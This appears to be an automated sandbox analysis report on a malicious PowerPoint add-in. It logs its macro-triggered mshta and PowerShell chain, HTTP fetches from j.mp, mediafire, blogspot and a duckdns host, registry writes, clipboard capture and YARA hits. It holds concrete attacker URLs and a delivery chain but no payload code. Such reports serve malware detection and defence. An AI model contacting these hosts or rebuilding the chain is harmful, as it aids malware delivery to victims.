Source: mshta.exe, 00000010.00000003.488262903.00000000053A3000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.487956672.000000000539F000.00000004.00000001.sdmp String found in binary or memory: https://www.gstatic.com/images/icons/gplus-32.png
Source: mshta.exe, 00000010.00000002.493890784.0000000000383000.00000004.00000020.sdmp, mshta.exe, 00000010.00000003.488171165.0000000000383000.00000004.00000001.sdmp String found in binary or memory: https://www.gstatic.com/images/icons/gplus-32.png)
Source: mshta.exe, 00000010.00000003.486923526.00000000054AA000.00000004.00000001.sdmp String found in binary or memory: https://www.gstatic.com/images/icons/material/system/1x/broken_image_grey600_18dp.png
Source: mshta.exe, 00000010.00000002.499339707.0000000005524000.00000004.00000001.sdmp String found in binary or memory: https://www.gstatic.com/images/icons/material/system/1x/search_black_24dp.png
Source: mshta.exe, 00000010.00000002.499339707.0000000005524000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.487054353.00000000054CE000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.486923526.00000000054AA000.00000004.00000001.sdmp String found in binary or memory: https://www.gstatic.com/images/icons/material/system/2x/broken_image_grey600_18dp.png
Source: mshta.exe, 00000010.00000002.499339707.0000000005524000.00000004.00000001.sdmp String found in binary or memory: https://www.gstatic.com/og/_/js/k=og.qtm.en_US.mJX-uhXwTA4.O/rt=j/m=q_dnp
Source: mshta.exe, 00000010.00000002.499339707.0000000005524000.00000004.00000001.sdmp String found in binary or memory: https://www.gstatic.com/og/_/ss/k=og.qtm.shRVBKchaBo.L.X.O/m=qawd
Source: mshta.exe, 00000005.00000002.437700955.000000000383F000.00000004.00000001.sdmp String found in binary or memory: https://www.mediafire.com/E
Source: mshta.exe, 00000005.00000002.437700955.000000000383F000.00000004.00000001.sdmp String found in binary or memory: https://www.mediafire.com/M
Source: mshta.exe, 00000005.00000002.440942165.00000000047B0000.00000004.00000001.sdmp String found in binary or memory: https://www.mediafire.com/file/95ggilwnqccbq6l/20.doc/file
Source: mshta.exe, 00000005.00000002.437656016.00000000037C5000.00000004.00000001.sdmp String found in binary or memory: https://www.mediafire.com/file/95ggilwnqccbq6l/20.doc/fileOMEPAw
Source: mshta.exe, 00000010.00000003.487458997.00000000053EB000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.492363560.00000000053EA000.00000004.00000001.sdmp String found in binary or memory: https://www.youtube.com
Source: C:\Windows\System32\mshta.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\ODOASODOchjdjdsfdrueruebdgbjd[1].htm Jump to behavior
Source: unknown DNS traffic detected: queries for: j.mp
Source: global traffic HTTP traffic detected: GET /ODOASODOchjdjdsfdrueruebdgbjd HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: j.mpConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /file/95ggilwnqccbq6l/20.doc/file HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Connection: Keep-AliveHost: www.mediafire.com
Source: global traffic HTTP traffic detected: GET /7zyqtjrto6xg/95ggilwnqccbq6l/20.doc HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Cookie: ukey=wpgd26kulj39kjvputiz6tvqsvprqjyjConnection: Keep-AliveHost: download2347.mediafire.com
Source: global traffic HTTP traffic detected: GET /p/20.html HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: kdaoskdokaodkwldld.blogspot.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /static/v1/widgets/1529571102-css_bundle_v2.css HTTP/1.1Accept: */*Referer: https://kukadunikkk@kdaoskdokaodkwldld.blogspot.com/p/20.htmlAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: www.blogger.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /dyn-css/authorization.css?targetBlogID=3903609419317699398&zx=5f07c876-ed15-412f-a301-ebcedf46395e HTTP/1.1Accept: */*Referer: https://kukadunikkk@kdaoskdokaodkwldld.blogspot.com/p/20.htmlAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: www.blogger.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /static/v1/jsbin/403901366-ieretrofit.js HTTP/1.1Accept: */*Referer: https://kukadunikkk@kdaoskdokaodkwldld.blogspot.com/p/20.htmlAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: www.blogger.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /static/v1/widgets/1397508952-widgets.js HTTP/1.1Accept: */*Referer: https://kukadunikkk@kdaoskdokaodkwldld.blogspot.com/p/20.htmlAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: www.blogger.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /blogin.g?blogspotURL=https://kdaoskdokaodkwldld.blogspot.com/p/20.html&type=blog HTTP/1.1Accept: */*Referer: https://kukadunikkk@kdaoskdokaodkwldld.blogspot.com/p/20.htmlAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: www.blogger.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /ServiceLogin?passive=true&continue=https://www.blogger.com/blogin.g?blogspotURL%3Dhttps://kdaoskdokaodkwldld.blogspot.com/p/20.html%26type%3Dblog%26bpli%3D1&followup=https://www.blogger.com/blogin.g?blogspotURL%3Dhttps://kdaoskdokaodkwldld.blogspot.com/p/20.html%26type%3Dblog%26bpli%3D1&go=true HTTP/1.1Accept: */*Referer: https://kukadunikkk@kdaoskdokaodkwldld.blogspot.com/p/20.htmlAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: accounts.google.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /blogin.g?blogspotURL=https%3A%2F%2Fkdaoskdokaodkwldld.blogspot.com%2Fp%2F20.html&type=blog&bpli=1 HTTP/1.1Accept: */*Referer: https://kukadunikkk@kdaoskdokaodkwldld.blogspot.com/p/20.htmlAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: www.blogger.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /blogblog/data/1kt/simple/body_gradient_tile_light.png HTTP/1.1Accept: */*Referer: https://kukadunikkk@kdaoskdokaodkwldld.blogspot.com/p/20.htmlAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: resources.blogblog.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /blogblog/data/1kt/simple/gradients_light.png HTTP/1.1Accept: */*Referer: https://kukadunikkk@kdaoskdokaodkwldld.blogspot.com/p/20.htmlAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: resources.blogblog.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /static/v1/v-css/281434096-static_pages.css HTTP/1.1Accept: */*Referer: https://www.blogger.com/blogin.g?blogspotURL=https%3A%2F%2Fkdaoskdokaodkwldld.blogspot.com%2Fp%2F20.html&type=blog&bpli=1Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: www.blogger.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /s1/20.txt HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: www.starinxxxgkular.duckdns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/errors/robot.png HTTP/1.1Accept: */*Referer: http://www.starinxxxgkular.duckdns.org/s1/20.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: www.google.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/branding/googlelogo/1x/googlelogo_color_150x54dp.png HTTP/1.1Accept: */*Referer: http://www.starinxxxgkular.duckdns.org/s1/20.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: www.google.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /s1/20.txt HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: www.starinxxxgkular.duckdns.orgConnection: Keep-Alive
Source: unknown HTTPS traffic detected: 67.199.248.16:443 -> 192.168.2.22:49165 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.16.203.237:443 -> 192.168.2.22:49166 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.91.155.88:443 -> 192.168.2.22:49167 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.91.155.88:443 -> 192.168.2.22:49167 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.217.168.1:443 -> 192.168.2.22:49168 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.217.168.9:443 -> 192.168.2.22:49169 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.217.168.45:443 -> 192.168.2.22:49174 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.217.168.9:443 -> 192.168.2.22:49176 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.217.168.9:443 -> 192.168.2.22:49177 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing:

barindex
Creates a window with clipboard capturing capabilities
Source: C:\Windows\System32\mshta.exe Window created: window name: CLIPBRDWNDCLASS Jump to behavior
Source: C:\Windows\System32\mshta.exe Window created: window name: CLIPBRDWNDCLASS Jump to behavior
Source: C:\Windows\System32\mshta.exe Window created: window name: CLIPBRDWNDCLASS
Source: C:\Windows\System32\mshta.exe Window created: window name: CLIPBRDWNDCLASS

System Summary:

barindex
Writes or reads registry keys via WMI
Source: C:\Windows\System32\mshta.exe WMI Queries: IWbemServices::ExecMethod - StdRegProv::SetStringValue
Source: C:\Windows\System32\mshta.exe WMI Queries: IWbemServices::ExecMethod - StdRegProv::SetStringValue
Writes registry values via WMI
Source: C:\Windows\System32\mshta.exe WMI Registry write: IWbemServices::ExecMethod - StdRegProv::SetStringValue
Source: C:\Windows\System32\mshta.exe WMI Registry write: IWbemServices::ExecMethod - StdRegProv::SetStringValue
Yara signature match
Source: 00000005.00000003.435105368.0000000000344000.00000004.00000001.sdmp, type: MEMORY Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 00000005.00000003.432820755.000000000034A000.00000004.00000001.sdmp, type: MEMORY Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 00000005.00000003.436354812.0000000000344000.00000004.00000001.sdmp, type: MEMORY Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 00000005.00000003.435170684.0000000000344000.00000004.00000001.sdmp, type: MEMORY Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 00000005.00000002.440997943.00000000047C5000.00000004.00000001.sdmp, type: MEMORY Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 00000005.00000002.436801799.0000000000344000.00000004.00000001.sdmp, type: MEMORY Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 00000005.00000003.435277073.0000000000344000.00000004.00000001.sdmp, type: MEMORY Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 00000005.00000002.441052500.00000000047DD000.00000004.00000001.sdmp, type: MEMORY Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 00000005.00000003.434949731.0000000000344000.00000004.00000001.sdmp, type: MEMORY Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 00000005.00000003.433600883.00000000047C5000.00000004.00000001.sdmp, type: MEMORY Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 00000005.00000003.428490008.0000000000345000.00000004.00000001.sdmp, type: MEMORY Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: Process Memory Space: powershell.exe PID: 1988, type: MEMORYSTR Matched rule: PowerShell_Susp_Parameter_Combo date = 2017-03-12, author = Florian Roth, description = Detects PowerShell invocation with suspicious parameters, reference = https://goo.gl/uAic1X, score = file, modified = 2021-09-28
Document contains an embedded VBA macro which executes code when the document is opened / closed
Source: VBA code instrumentation OLE, VBA macro: Module Module1, Function Auto_Open Name: Auto_Open
Abnormal high CPU Usage
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process Stats: CPU usage > 98%
Searches for the Microsoft Outlook file path
Source: C:\Windows\System32\mshta.exe Key opened: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE Jump to behavior
Source: C:\Windows\System32\mshta.exe Key opened: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE Jump to behavior
Source: C:\Windows\System32\mshta.exe Key opened: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE
Source: C:\Windows\System32\mshta.exe Key opened: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE
Source: Acct # 3288-1258-1NQ39NGAY0GD'pdf.ppam Virustotal: Detection: 38%
Source: C:\Windows\System32\mshta.exe Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................#.........|.....................................`I.........v.....................K...................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....#................8.k......r...............E.............}..v....8.r.....0.p...............Y............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w..../................8.k....`.Y...............E.............}..v......r.....0.p............................................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w..../................8.k......r...............E.............}..v....8.r.....0.p...............Y............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....;................8.k....`.Y...............E.............}..v....h"r.....0.p.....................b....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....;................8.k.... #r...............E.............}..v.....#r.....0.p...............Y............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....G.......A.t. .l.i.n.e.:.1. .c.h.a.r.:.1.0.E.............}..v.....'r.....0.p...............Y....."....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....G................8.k....h(r...............E.............}..v.....(r.....0.p...............Y............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....S................8.k....`.Y...............E.............}..v...../r.....0.p............................................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....S................8.k....h0r...............E.............}..v.....0r.....0.p...............Y............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w...._................8.k....`.Y...............E.............}..v.....7r.....0.p............................................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w...._................8.k....h8r...............E.............}..v.....8r.....0.p...............Y............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....k................8.k....`.Y...............E.............}..v.....?r.....0.p............................................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....k................8.k....h@r...............E.............}..v.....@r.....0.p...............Y............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....w................8.k....`.Y...............E.............}..v.....Gr.....0.p............................................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....w................8.k....8Hr...............E.............}..v.....Hr.....0.p...............Y............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.....................8.k....`.Y...............E.............}..v.....Or.....0.p............................................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.....................8.k....8Pr...............E.............}..v.....Pr.....0.p...............Y............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w............ . . .E.x.c.e.p.t.i.o.n...........E.............}..v....PTr.....0.p...............Y............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.....................8.k.....Ur...............E.............}..v.....Ur.....0.p...............Y............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.....................8.k....`.Y...............E.............}..v.....Zr.....0.p.....................l....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.....................8.k.....[r...............E.............}..v.....\r.....0.p...............Y............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w............ ........8.k....`.Y...............E.............}..v....._r.....0.p...............Y............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.....................8.k....H`r...............E.............}..v.....`r.....0.p...............Y............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.....................8.k....`.Y...............E.............}..v.....*......0.p............................................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.....................8.k.....+................E.............}..v.... ,......0.p...............Y............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.....................8.k....`.Y...............E.............}..v.....2......0.p............................................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.....................8.k.....3................E.............}..v.... 4......0.p...............Y............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.....................8.k....`.Y...............E.............}..v....P9......0.p.....................b....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.....................8.k.....:................E.............}..v.....:......0.p...............Y............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w............A.t. .l.i.n.e.:.1. .c.h.a.r.:.1.5.8.............}..v.....>......0.p...............Y.....$....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: .................B5............................. .n...............E...............................4...............Y............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.....................8.k....`.Y...............E.............}..v.....F......0.p............................................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.....................8.k....PG................E.............}..v.....G......0.p...............Y............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.....................8.k....`.Y...............E.............}..v.....N......0.p............................................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.....................8.k....PO................E.............}..v.....O......0.p...............Y............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.....................8.k....`.Y...............E.............}..v.....V......0.p............................................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.....................8.k....PW................E.............}..v.....W......0.p...............Y............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.....................8.k....`.Y...............E.............}..v....h^......0.p............................................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.....................8.k.... _................E.............}..v....._......0.p...............Y............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.....................8.k....`.Y...............E.............}..v....hf......0.p............................................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.....................8.k.... g................E.............}..v.....g......0.p...............Y............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....'....... . . .E.x.c.e.p.t.i.o.n...........E.............}..v....8k......0.p...............Y............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....'................8.k.....k................E.............}..v....pl......0.p...............Y............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....3................8.k....`.Y...............E.............}..v.....q......0.p.....................l....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....3................8.k....hr................E.............}..v.....r......0.p...............Y............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....?....... ........8.k....`.Y...............E.............}..v....xv......0.p...............Y............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....?................8.k....0w................E.............}..v.....w......0.p...............Y............................. Jump to behavior
Source: C:\Windows\System32\schtasks.exe Console Write: ..................................................)............................................................................................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................0.......#.......................0.......................`I.........v.....................K...................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....#...............Q..k.... )..............................}..v.....)......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w..../..................k....@_..............................}..v....h0......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w..../...............Q..k.... 1..............................}..v.....1......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....;..................k....@_..............................}..v.....6......0.......................v....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................E.u.....;...............Q..k.....7..............................}..v....08......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....G.......A.t. .l.i.n.e.:.3.6.6. .c.h.a.r.:.3.5...........}..v....H<......0................[......&....................... Jump to behavior
